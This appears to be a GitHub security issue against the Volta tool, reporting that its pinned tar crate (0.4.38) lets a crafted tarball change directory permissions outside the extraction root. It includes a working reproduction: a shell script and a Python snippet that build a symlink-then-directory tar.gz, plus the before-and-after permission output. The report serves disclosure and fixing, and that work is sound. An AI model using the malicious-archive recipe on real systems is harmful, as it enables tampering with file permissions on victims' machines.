Skip to content

Volta locks vulnerable tar crate version and its Node archive unpack path can chmod outside the extraction root #2108

@br0x2

Description

@br0x2

Volta locks vulnerable tar crate version and its Node archive unpack path can chmod outside the extraction root

Summary

Volta currently locks the Rust tar crate at 0.4.38, which is in the affected range for CVE-2026-33056 / RUSTSEC-2026-0067. The Volta archive crate calls tar::Archive::unpack(dest) for Unix Node distribution tarballs, and I can reproduce the CVE behavior through Volta's own crates/archive API: a crafted tarball changes permissions on a directory outside the chosen extraction root.

I fetched origin/main on 2026-06-19 and tested the latest upstream commit:

5eedd5fb2f682baceb47a242289111fcd79435a5 (2025-11-15T08:59:36-07:00)

Details

Relevant code path:

  • Cargo.lock lines 1445-1449: tar is locked to 0.4.38.
  • crates/archive/src/tarball.rs lines 60-68: Tarball::unpack() wraps the gzip stream in tar::Archive::new(decoded) and calls tarball.unpack(dest).
  • crates/volta-core/src/tool/node/fetch.rs lines 91-109: Node distribution archives are unpacked into a staging directory by calling archive.unpack(temp.path(), ...).
  • crates/volta-core/src/tool/node/fetch.rs line 142: the cached distro path still has a TODO comment for checksum verification.
  • crates/volta-core/src/tool/node/fetch.rs lines 152-167: a node.distro hook can determine the Node distribution URL; otherwise Volta uses https://nodejs.org/dist.

Root cause:

Volta delegates Unix tarball extraction to tar 0.4.38. In tar versions 0.4.44 and below, a tar archive containing a symlink entry followed by a directory entry with the same name can cause tar to follow the symlink and apply directory permissions to the symlink target outside the extraction root. Since Volta calls the affected tar::Archive::unpack() path for Node tarballs, the dependency vulnerability is reachable through Volta's archive abstraction.

References:

Reproduction

This reproducer uses a fresh checkout and calls the real archive::Tarball::unpack() API. It creates a tar.gz with two entries:

  1. chmod_target as a symlink to outside-dir
  2. chmod_target/ as a directory entry with mode 0777
set -euo pipefail

git clone https://github.com/volta-cli/volta.git volta-repro
cd volta-repro
git checkout 5eedd5fb2f682baceb47a242289111fcd79435a5

mkdir -p crates/archive/examples
cat > crates/archive/examples/cve_33056.rs <<'RS'
use archive::Tarball;
use std::env;
use std::fs::File;
use std::os::unix::fs::PermissionsExt;
use std::path::Path;

fn mode(path: &Path) -> u32 {
    std::fs::metadata(path).unwrap().permissions().mode() & 0o777
}

fn main() {
    let args: Vec<String> = env::args().collect();
    let archive_path = Path::new(&args[1]);
    let dest = Path::new(&args[2]);
    let outside = Path::new(&args[3]);

    println!("BEFORE_MODE={:o}", mode(outside));
    let archive = Tarball::load(File::open(archive_path).unwrap()).unwrap();
    archive.unpack(dest, &mut |_, _| {}).unwrap();
    println!("AFTER_MODE={:o}", mode(outside));
    println!(
        "DEST_LINK_IS_SYMLINK={}",
        std::fs::symlink_metadata(dest.join("chmod_target"))
            .unwrap()
            .file_type()
            .is_symlink()
    );
}
RS

tmp="$(mktemp -d)"
cleanup() {
  rm -rf "$tmp"
}
trap cleanup EXIT

mkdir -p "$tmp/src" "$tmp/out" "$tmp/outside-dir"
chmod 700 "$tmp/outside-dir"
ln -s ../outside-dir "$tmp/src/chmod_target"

python3 - "$tmp/poc.tar.gz" "$tmp/src/chmod_target" <<'PY'
import io
import sys
import tarfile

archive_path, link_path = sys.argv[1], sys.argv[2]
with tarfile.open(archive_path, "w:gz") as tar:
    link = tarfile.TarInfo("chmod_target")
    link.type = tarfile.SYMTYPE
    link.linkname = "../outside-dir"
    link.mode = 0o777
    tar.addfile(link)

    directory = tarfile.TarInfo("chmod_target")
    directory.type = tarfile.DIRTYPE
    directory.mode = 0o777
    tar.addfile(directory)
PY

cargo run \
  --manifest-path crates/archive/Cargo.toml \
  --example cve_33056 \
  -- "$tmp/poc.tar.gz" "$tmp/out" "$tmp/outside-dir"

cargo tree --manifest-path crates/archive/Cargo.toml -i tar

Expected Behavior

Unpacking a tarball into a staging directory should not change permissions on directories outside that staging directory. Volta should either use a patched tar crate version or add extraction guards that prevent symlink-target metadata changes outside the extraction root.

Observed Behavior

The outside directory starts as mode 0700 and ends as mode 0777 after Volta's Tarball::unpack() returns:

BEFORE_MODE=700
AFTER_MODE=777
DEST_LINK_IS_SYMLINK=true
tar v0.4.38

This reproduces the CVE-2026-33056 primitive through Volta's current archive crate.

Impact

A malicious Node distribution tarball processed by Volta can change permissions on a directory outside Volta's extraction root. In normal operation Volta downloads Node distributions from https://nodejs.org/dist, but Volta also supports a node.distro hook for the distribution URL and has cached archive loading paths. The practical risk is highest when a malicious or compromised distribution source, cache entry, or configured distro hook supplies the tarball.

Suggested Fix Direction

  • Upgrade tar to 0.4.45 or later.
  • Add a regression test in crates/archive for the symlink-then-directory tarball shape above.
  • Consider enforcing extraction-root containment before applying metadata from archive entries, especially for symlinks and hardlinks.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions